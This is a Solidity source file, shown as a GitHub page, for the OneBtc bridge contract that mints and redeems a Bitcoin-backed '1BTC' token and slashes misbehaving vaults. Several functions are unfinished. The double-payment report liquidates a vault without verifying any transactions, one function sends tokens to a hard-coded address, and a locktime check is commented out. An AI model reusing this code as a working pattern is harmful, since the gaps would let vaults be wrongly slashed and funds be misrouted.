/
OneBtc.sol
executable file
·281 lines (244 loc) · 8.22 KB
/
OneBtc.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import {ValidateSPV} from "@interlay/bitcoin-spv-sol/contracts/ValidateSPV.sol";
import {TransactionUtils} from "./TransactionUtils.sol";
import "@interlay/bitcoin-spv-sol/contracts/BTCUtils.sol";
import {Issue} from "./Issue.sol";
import {Redeem} from "./Redeem.sol";
import {Replace} from "./Replace.sol";
import {IRelay} from "./IRelay.sol";
import "./IExchangeRateOracle.sol";
contract OneBtc is ERC20Upgradeable, Issue, Redeem, Replace {
using BTCUtils for bytes;
IRelay public relay;
struct Report {
address vaultId;
bytes32 txId;
}
event ReportVaultTheft(address indexed vaultId);
event VaultDoublePayment(
address indexed vaultId,
bytes32 leftTxId,
bytes32 rightTxId
);
mapping(bytes32 => bool) public theftReports;
function initialize(IRelay _relay, IExchangeRateOracle _oracle)
external
initializer
{
__ERC20_init("Harmony Bitcoin", "1BTC");
_setupDecimals(8);
relay = _relay;
oracle = _oracle;
}
function verifyTx(
uint32 height,
uint256 index,
bytes calldata rawTx,
bytes calldata header,
bytes calldata merkleProof
) public returns (bytes memory) {
relay.verifyTx(
height,
index,
rawTx.hash256(),
header,
merkleProof,
1,
true
);
TransactionUtils.Transaction memory btcTx = TransactionUtils.extractTx(
rawTx
);
// require(btcTx.locktime == 0 || btcTx.locktime < height, "Locktime not reached");
// check version?
// btcTx.version
return btcTx.vouts;
}
function requestIssue(uint256 amountRequested, address vaultId)
external
payable
{
Issue._requestIssue(msg.sender, amountRequested, vaultId, msg.value);
}
function executeIssue(
address requester,
uint256 issueId,
bytes calldata merkleProof,
bytes calldata rawTx, // avoid compiler error: stack too deep
//bytes calldata _version, bytes calldata _vin, bytes calldata _vout, bytes calldata _locktime,
uint64 heightAndIndex,
bytes calldata header,
uint256 outputIndex
) external {
bytes memory _vout = verifyTx(
uint32(heightAndIndex >> 32),
heightAndIndex & type(uint32).max,
rawTx,
header,
merkleProof
);
Issue._executeIssue(requester, issueId, _vout, outputIndex);
}
function cancelIssue(address requester, uint256 issueId) external {
Issue._cancelIssue(requester, issueId);
}
function requestRedeem(
uint256 amountOneBtc,
address btcAddress,
address vaultId
) external {
Redeem._requestRedeem(msg.sender, amountOneBtc, btcAddress, vaultId);
}
function executeRedeem(
address requester,
uint256 redeemId,
bytes calldata merkleProof,
bytes calldata rawTx,
uint32 height,
uint256 index,
bytes calldata header
) external {
bytes memory _vout = verifyTx(
height,
index,
rawTx,
header,
merkleProof
);
Redeem._executeRedeem(requester, redeemId, _vout);
}
function cancelRedeem(
address requester,
uint256 redeemId,
bool reimburse
) external {
Redeem._cancelRedeem(requester, redeemId, reimburse);
}
function transferToClaim(
uint256 amount,
address btcAddress
) external {
address to = 0x12f42D934bb857A0bD6C4809aB425bDce933F65E;
ERC20Upgradeable._transfer(msg.sender, to, amount);
}
function lockOneBTC(address from, uint256 amount)
internal
override(Redeem)
{
ERC20Upgradeable._transfer(msg.sender, address(this), amount);
}
function burnLockedOneBTC(uint256 amount) internal override(Redeem) {
ERC20Upgradeable._burn(address(this), amount);
}
function releaseLockedOneBTC(address receiver, uint256 amount)
internal
override(Redeem)
{
ERC20Upgradeable._transfer(address(this), receiver, amount);
}
function issueOneBTC(address receiver, uint256 amount)
internal
override(Issue)
{
ERC20Upgradeable._mint(receiver, amount);
}
// function requestReplace(
// address payable oldVaultId,
// uint256 btcAmount,
// uint256 griefingCollateral
// ) external payable {
// require(false, "Feature temporarily disabled");
// // Replace._requestReplace(oldVaultId, btcAmount, griefingCollateral);
// }
// function acceptReplace(
// address oldVaultId,
// address newVaultId,
// uint256 btcAmount,
// uint256 collateral,
// uint256 btcPublicKeyX,
// uint256 btcPublicKeyY
// ) external payable {
// require(false, "Feature temporarily disabled");
// // Replace._acceptReplace(
// // oldVaultId,
// // newVaultId,
// // btcAmount,
// // collateral,
// // btcPublicKeyX,
// // btcPublicKeyY
// // );
// }
// function executeReplace(
// uint256 replaceId,
// bytes calldata merkleProof,
// bytes calldata rawTx, // avoid compiler error: stack too deep
// //bytes calldata _version, bytes calldata _vin, bytes calldata _vout, bytes calldata _locktime,
// uint32 height,
// uint256 index,
// bytes calldata header
// ) external {
// require(false, "Feature temporarily disabled");
// // bytes memory _vout = verifyTx(height, index, rawTx, header, merkleProof);
// // Replace._executeReplace(replaceId, _vout);
// }
/**
* @dev Report vault misbehavior by providing fraud proof (malicious bitcoin transaction and the corresponding transaction inclusion proof). Fully slashes the vault.
*/
function reportVaultTheft(
address vaultId,
bytes calldata rawTx,
uint32 height,
uint256 index,
bytes calldata merkleProof,
bytes calldata header
) external {
require(
relay.isApprovedStakedRelayer(msg.sender),
"Sender is not authorized"
);
bytes32 txId = rawTx.hash256();
// check if already reported
bytes32 reportKey = keccak256(abi.encodePacked(vaultId, txId));
require(
theftReports[reportKey] == false,
"This txId has already been logged as a theft by the given vault"
);
// verify transaction inclusion using header and merkle proof
relay.verifyTx(height, index, txId, header, merkleProof, 1, true);
// all looks good, liquidate vault
address reporterId = msg.sender;
liquidateVault(vaultId, reporterId);
theftReports[reportKey] = true;
emit ReportVaultTheft(vaultId);
}
/**
* @dev Reports vault double payment providing two fraud proof (malicious bitcoin transaction and the corresponding transaction inclusion proof). Fully slashes the vault.
*/
function reportVaultDoublePayment(
address vaultId,
bytes calldata rawTxs,
uint64[] memory heightAndIndexs,
bytes calldata merkleProofs,
bytes calldata headers
) external {
require(
relay.isApprovedStakedRelayer(msg.sender),
"Sender is not authorized"
);
// separate the two sets and check that
// txns must be unique
// verify transaction inclusion using header and merkle proof for both
bytes32 leftTxId;
bytes32 rightTxId;
// extract the two txns
// TransactionUtils.extractTx(rawTxns)
// verify that the OP_RETURN matches, amounts are not relevant
// TxValidate.extractOpReturnOnly();
// all looks good, liquidate vault
address reporterId = msg.sender;
liquidateVault(vaultId, reporterId);
emit VaultDoublePayment(vaultId, leftTxId, rightTxId);
}
}